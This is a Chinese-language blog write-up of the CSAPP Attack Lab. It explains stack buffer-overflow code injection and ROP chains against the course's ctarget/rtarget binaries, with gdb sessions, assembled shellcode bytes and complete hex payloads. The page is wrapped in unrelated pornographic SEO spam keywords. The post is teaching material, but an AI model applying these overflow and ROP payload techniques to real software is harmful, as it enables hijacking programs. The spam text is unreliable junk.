<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12
      博客園 首頁 私信博主 顯示目錄 隱藏目錄 管理 動畫

      CSAPP Lab3: The Attack Lab


      CSAPP Lab3: The Attack Lab

      https://www.zybuluo.com/SovietPower/note/1801471
      參考:
      https://blog.csdn.net/AI_lalaland/article/details/105153847
      https://blog.csdn.net/weixin_44520881/article/details/109274669


      實驗介紹

      具體看writeup.pdf

      攻擊目標代碼ctarget和rtarget都使用如下函數從標準輸入中讀取字符串:

      unsigned getbuf()
      {
          char buf[BUFFER_SIZE];
          Gets(buf);
          return 1;
      }
      

      BUFFER_SIZE為編譯時就已確定的常數。Getsgets一樣讀入整行字符串到buf中,且不考慮是否可能越界。

      測試:
      測試可以先在1.txt中輸入想要的16進制字符串,用hex2raw轉為輸入字符串,然后用ctarget/rtarget-i參數文件輸入:

      $ ./hex2raw < 1.txt > 1.in
      $ ./ctarget -qi 1.in
      或
      $ ./hex2raw < 1.in | ./ctarget -q
      

      需要加參數-q,不上傳得分到cmu的服務器(否則不能運行)。
      用于hex2raw而輸入的16進制串需每兩位一空格,如想要字符串\(01234\),則應輸入\(30\ 31\ 32\ 33\ 00\)\(0x30,0x31,...,0x0\)),可加注釋/* */,但/*后和*/前一定要有空格。

      攻擊方式:
      Code Injection
      前三個Phase。
      通過使緩沖區溢出,讓輸入覆蓋返回地址,使PC在retq時返回到某個指定的位置,并執行注入的代碼。

      Return-Oriented Programming
      后兩個Phase。
      棧隨機化(不能確定插入代碼位置)、將棧內存段設為不可執行(不能執行插入代碼),可以使常規破壞方法難以實現。
      ROP用于處理這兩種情況。

      Part I: Code Injection

      程序CTARGET調用如下函數test,輸入一個字符串,通過緩沖區溢出使得程序不從test返回,而是調用touchx函數。

      unsigned getbuf()
      {
          char buf[BUFFER_SIZE];
          Gets(buf);
          return 1;
      }
      void test()
      {
          int val;
          val = getbuf();
          printf("No exploit. Getbuf returned 0x%x\n", val);
      }
      

      Level 1

      void touch1()
      {
          vlevel = 1; / * Part of validation protocol * /
          printf("Touch1!: You called touch1()\n");
          validate(1);
          exit(0);
      }
      

      因為getbufreturn返回的是調用getbuf前棧指針\(\%rsp\)指向的地址,所以將那個位置的值改為touch1的地址即可。
      objdump -d ctarget > ctarget.txt得到匯編代碼:

      00000000004017a8 <getbuf>:
          4017a8:	48 83 ec 28          	sub    $0x28,%rsp
          4017ac:	48 89 e7             	mov    %rsp,%rdi
          4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
          4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
          4017b9:	48 83 c4 28          	add    $0x28,%rsp
          4017bd:	c3                   	retq   
          4017be:	90                   	nop
          4017bf:	90                   	nop
      

      可知BUFFER_SIZEbuf的大小為\(0x28=40\),位置在\(\%rsp\)
      所以\(40\)字符后寫入的內容會寫到\(\%rsp+0x28\)處,即調用getbufcallq)時的棧頂,即返回地址。所以將touch100000000004017c0 <touch1>)的地址放在\(40\)個字符后即可。
      所以想要的字符串內容為:

      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      c0 17 40 00 00 00 00 00
      

      用給的hex2raw轉為相應的可輸入串輸入即可:./hex2raw < 1.in | ./ctarget -q

      注意地址用小端法表示(注意區分指令與地址)。


      Level 2

      復習一下幾個點:
      調用retq時,PC指向當前%rsp指向的位置,并popq
      程序只是單純執行PC指向位置的16進制指令序列(機器代碼.o,編譯器編譯后產生的二進制文件,匯編代碼.s的機器代碼表示),并將PC+1。此外只會因callq,retq等命令改變PC。
      gcc -Og -S name.c產生匯編文件name.s
      gcc -Og -c name.cgcc -Og -c name.s產生目標代碼文件name.o(機器代碼);
      objdump -d name.o將機器代碼對應的匯編代碼逐行表示出來。


      void touch2(unsigned val)
      {
          vlevel = 2; / * Part of validation protocol * /
          if (val == cookie) {
              printf("Touch2!: You called touch2(0x%.8x)\n", val);
              validate(2);
          } else {
              printf("Misfire: You called touch2(0x%.8x)\n", val);
              fail(2);
          }
          exit(0);
      }
      

      Level2要求跳轉時帶一個參數,即跳轉前\(\%rdi\)的值需為給定的\(cookie=0x59b997fa\),也就是先實現mov $0x59b997fa,%rdi
      輸入串\(s\)存在\(\%rsp\)處。如果將getbuf返回地址\(\%rsp+40\)的值設為\(\%rsp\),PC在retq時就會跳轉到\(\%rsp\)處并執行\(s\)串內容所表示的機器代碼。
      所以就可令\(s\)的內容為:

      mov $0x59b997fa,%rdi
      retq
      

      這時的retq需返回touch2。注意從getbuf執行到這里retq了兩次,此時retq的返回目標即\(\%rsp+40+8\)處存的地址。
      所以找到touch2的地址00000000004017ec,通過溢出將其放在\(\%rsp+48\)處即可。

      movq $0x59b997fa, %rdi ret寫入2.sgcc -c 2.s得到2.o,再將2.o反匯編即可得到兩條指令的機器代碼:

      $ gcc -c 2.s
      $ objdump -d 2.o
      2.o:     文件格式 elf64-x86-64
      
      Disassembly of section .text:
      
      0000000000000000 <.text>:
         0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
         7:	c3                   	retq 
      

      此外需要知道buf的存儲位置,即調用getbuf\(\%rsp\)的值,為\(0x5561dc78\)

      (gdb) b getbuf
      Breakpoint 1 at 0x4017a8: file buf.c, line 12.
      (gdb) r -q
      Starting program: ./ctarget -q
      Cookie: 0x59b997fa
      
      Breakpoint 1, getbuf () at buf.c:12
      12	buf.c: 沒有那個文件或目錄.
      (gdb) disas
      Dump of assembler code for function getbuf:
      => 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
         0x00000000004017ac <+4>:	mov    %rsp,%rdi
         0x00000000004017af <+7>:	callq  0x401a40 <Gets>
         0x00000000004017b4 <+12>:	mov    $0x1,%eax
         0x00000000004017b9 <+17>:	add    $0x28,%rsp
         0x00000000004017bd <+21>:	retq   
      End of assembler dump.
      (gdb) i r $rsp
      rsp            0x5561dca0          0x5561dca0
      (gdb) stepi
      14	in buf.c
      (gdb) i r $rsp
      rsp            0x5561dc78          0x5561dc78
      

      所以輸入串為:

      48 c7 c7 fa 97 b9 59 c3 //通過串注入的命令
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
      ec 17 40 00 00 00 00 00 //再次返回到touch2
      

      主要問題在于如何二次返回到touch2
      因為retq返回的是\(\%rsp\)所指位置,所以在retqpushq touch2的地址,也可以實現rettouch2。這種方法可能更簡單。
      即:

      mov $0x59b997fa,%rdi
      pushq $0x4017ec
      retq
      

      反匯編得到機器代碼:

      0000000000000000 <.text>:
         0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
         7:	68 ec 17 40 00       	pushq  $0x4017ec
         c:	c3                   	retq
      

      所以輸入串:

      48 c7 c7 fa 97 b9 59 68 //通過串注入的命令
      ec 17 40 00 c3 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
      

      注意不能直接修改棧指針(如movq $0x4017ec,%rsp),只能用push/pop,call/ret修改指針。可能是最后validate判斷了棧指針是否被不合理修改,或者這么改不好。


      Level 3

      / * Compare string to hex represention of unsigned value * /
      int hexmatch(unsigned val, char* sval)
      {
          char cbuf[110]; / * Make position of check string unpredictable * /
          char* s = cbuf + random() % 100;
          sprintf(s, "%.8x", val);
          return strncmp(sval, s, 9) == 0;
      }
      void touch3(char* sval)
      {
          vlevel = 3; / * Part of validation protocol * /
          if (hexmatch(cookie, sval)) {
              printf("Touch3!: You called touch3(\"%s\")\n", sval);
              validate(3);
          } else {
              printf("Misfire: You called touch3(\"%s\")\n", sval);
              fail(3);
          }
          exit(0);
      }
      

      Level3要求跳轉時帶有參數sval,且字符串的數值為cookie=0x59b997fa
      可知字符串內容為35 39 62 39 39 37 66 61 00(注意字符串沒有0x,最后有一個\0;內容為16進制表示!0x3n即數n的ASCII碼)。
      如果和level2一樣,可知要注入的命令為(00000000004018fa <touch3>):

      ; 第一行%rsp處為實際內容:35 39 62 39 39 37 66 61
      movq  $0x5561dc78,%rdi ; 0x5561dc78為串存儲位置%rsp
      pushq $0x4018fa
      ret
      

      如果將上面的內容放到串\(sval\)里,再retqtouch3,因為從getbuf retq\(\%rsp\)處前,會釋放\(\%rsp\)\(40\)的空間,此時字符串存在\(\%rsp-40\)處。而調用touch3時會調用hexmatch,里面的數組會使\(\%rsp-\)至少\(110\),此時隨機位置存放的\(s\)可能會覆蓋\(\%rsp-40\)處的原串\(sval\)
      所以應將\(sval\)存在test的棧幀里,而不是釋放了的getbuf棧幀里。

      所以流程應為:retq前通過溢出在test的棧幀處寫入字符串,然后返回到字符串地址\(\%rsp\)處,執行字符串內的內容(mov, push, ret)。
      這樣\(\%rdi\)的值則為test的棧幀地址,需查看一下,為\(0x5561dca8\)

      (gdb) b test
      Breakpoint 1 at 0x401968: file visible.c, line 90.
      (gdb) r -q
      Starting program: ./ctarget -q
      Cookie: 0x59b997fa
      
      Breakpoint 1, test () at visible.c:90
      90	visible.c: 沒有那個文件或目錄.
      (gdb) disas
      Dump of assembler code for function test:
      => 0x0000000000401968 <+0>:	sub    $0x8,%rsp
         0x000000000040196c <+4>:	mov    $0x0,%eax
         0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
         0x0000000000401976 <+14>:	mov    %eax,%edx
         0x0000000000401978 <+16>:	mov    $0x403188,%esi
         0x000000000040197d <+21>:	mov    $0x1,%edi
         0x0000000000401982 <+26>:	mov    $0x0,%eax
         0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
         0x000000000040198c <+36>:	add    $0x8,%rsp
         0x0000000000401990 <+40>:	retq   
      End of assembler dump.
      (gdb) i r $rsp
      rsp            0x5561dcb0          0x5561dcb0
      (gdb) stepi
      92	in visible.c
      (gdb) i r $rsp
      rsp            0x5561dca8          0x5561dca8
      

      push的值依然為注入代碼位置\(0x4018fa\)

      所以指令為:

      movq  $RTARGET,%rdi ; 0x5561dc78為串存儲位置test棧幀
      pushq $0x4018fa
      ret
      

      其機器語言為:

      0000000000000000 <.text>:
         0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
         7:	68 fa 18 40 00       	pushq  $0x4018fa
         c:	c3                   	retq
      

      輸入串:

      48 c7 c7 a8 dc 61 55 68 /* 注入指令 */
      fa 18 40 00 c3 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      78 dc 61 55 00 00 00 00 /* 返回到注入命令(串位置) */
      35 39 62 39 39 37 66 61 /* 將實際內容寫入棧幀 */
      

      Part II: Return-Oriented Programming

      RTARGET的目的同Part I中的level 2,3,但限制棧上的代碼不可執行。
      此時需要利用代碼中本來的可執行段,構造某些操作指令,并使PC指向那個位置。
      如一個函數:

      void setval_210(unsigned* p)
      {
          *p = 3347663060U;
      }
      

      其機器代碼為:

      0000000000400f15 <setval_210>:
          400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
          400f1b: c3                  retq
      

      其中48 89 c7正好就是movq %rax,%rdi指令的表示,所以如果讓PC指向400f18,程序會執行movq %rax,%rdi retq
      指令序列可在writeup.pdf中查看。

      Level 2

      需要將\(cookie\)賦值給\(\%rdi\)。像Part I一樣可以通過兩次返回,使程序先執行特定指令,再返回touch2,但不能直接注入指令。

      getbuf棧幀位置為\(\%rsp\)
      注意字符串可以修改\(\%rsp\)附近的值;getbuf返回時,會\(popq\)\(\%rsp=\%rsp+48\))。
      如果令getbuf返回到一個popq %rdi指令,再將\(\%rsp+48\)設為\(cookie=0x59b997fa\),即可實現\(\%rdi=0x59b997fa\)
      然后再進行retq指令,并將\(\%rsp+56\)設為touch2地址\(0x4017ec\),即可再返回touch2

      在表中找popq %rdi,即5f
      然后在RTARGET的機器代碼中找5f(5f c3),得到地址\(0x402b19\)

      00000000004023f6 <submitr>:
          4023f6:	41 57                	push   %r15
      ...
          402b18:	41 5f                	pop    %r15
          402b1a:	c3                   	retq   
      

      所以輸入串:

      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      19 2b 40 00 00 00 00 00 /* 返回到popq %rdi */
      fa 97 b9 59 00 00 00 00 /* 賦值%rsp+48 */
      ec 17 40 00 00 00 00 00 /* 返回到touch2 */
      

      如果找不到popq %rdi,可以找并通過popq %rax/...mov %rax/...,%rdi實現賦值,最后返回touch2


      Level 3

      需要將一個串\(sval\)的地址賦值給\(\%rdi\),串內容為\(cookie=\) 35 39 62 39 39 37 66 61 00
      除了限制棧上的代碼不能執行外,也有隨機化。

      \(cookie\)一定放在串最后,中間是調用某些指令,使得\(\%rdi\)指向\(cookie\)
      基本思路大概是,利用表將匯編中存在的mov指令找出來(包括movqmovl,如果movq沒有用movl也一樣),通過存在的mov一步步傳遞,最后將\(\%rdi\)賦值。
      注意有個add_xy函數,可以不需構造直接用,所以考慮先將棧頂賦值給\(\%rdi\),再給\(\%rdi\)加上一個數(偏移量)得到恰當存放位置。

      找了一個答案看:

      //in addval_190 401a06
      movq %rsp,%rax //先將棧頂通過%rax傳給%rdi,再進行加
      ret //48 89 e0 c3
      
      //in addval_426
      movq %rax,%rdi //%rdi=%rsp
      ret
      
      //in addval_219
      popq %rax //給rax賦值偏移量,使得%rdi偏移到合適位置。這個偏移量數字即這條語句下面一行(棧中的靠下一層)
      ret
      
      //in getval_481
      movl %eax,%edx //通過存在的鏈將%rax加到%rdi上
      ret
      
      //in getval_159
      movl %edx,%ecx //繼續在鏈上傳遞
      ret
      
      //in addval_436
      movl %ecx,%rsi //%rax->%rdx->%rcx傳給%rsi
      ret
      
      //in add_xy
      lea (%rdi,%rsi,1),%rax //%rax=%rsi+%rdi
      retq
      
      //in addval_426
      movq %rax,%rdi //%rdi=%rsi+%rdi 實現偏移
      ret
      

      輸入串為:

      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
      c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
      ab 19 40 00 00 00 00 00 /* popq %rax */
      48 00 00 00 00 00 00 00 /* %rax=48 */
      dd 19 40 00 00 00 00 00
      34 1a 40 00 00 00 00 00
      13 1a 40 00 00 00 00 00
      d6 19 40 00 00 00 00 00
      c5 19 40 00 00 00 00 00 /* %rsi=48 */
      fa 18 40 00 00 00 00 00 /* %rdi=%rsi+%rdi */
      35 39 62 39 39 37 66 61 /* sval實際位置:%rsp+48 */
      

      實驗結果





      posted @ 2021-06-12 00:28  SovietPower  閱讀(1198)  評論(2)    收藏  舉報
      主站蜘蛛池模板: 成人欧美一区在线视频| 欧美18videosex性欧美tube1080| 少妇特黄a一区二区三区| 特级做a爰片毛片免费看无码| 无码专区视频精品老司机| 91精品国产蜜臀在线观看| 久久人人爽人人爽人人av| 一区二区三区国产不卡| 中文字幕精品无码一区二区| 国产AV一区二区三区| 无套后入极品美女少妇| 国产99精品成人午夜在线| 国偷自产一区二区三区在线视频| 日韩狼人精品在线观看| 国产精品制服丝袜第一页| 日韩中文字幕人妻一区| 国产精品自在自线免费观看| 久久精品国产亚洲av久| 亚洲综合国产一区二区三区| 牲欲强的熟妇农村老妇女视频| 少妇午夜福利一区二区三区 | 夜夜添无码一区二区三区| 久久精品熟女亚洲av麻| 久久免费网站91色网站| 精品亚洲国产成人av| 亚洲中文字幕无码一久久区| 精品国产免费人成在线观看| 人妻教师痴汉电车波多野结衣| 4399理论片午午伦夜理片| 国内外精品激情刺激在线| 色五月丁香六月欧美综合| 国产成人综合久久亚洲av| 肥臀浪妇太爽了快点再快点| 亚洲欧洲日产国码AV天堂偷窥| 无码日韩精品一区二区免费| 成人国产精品日本在线观看| 亚洲天堂一区二区三区四区| 无码伊人久久大杳蕉中文无码| 欧美日韩国产综合草草| 久久久久无码精品国产h动漫| 婷婷99视频精品全部在线观看|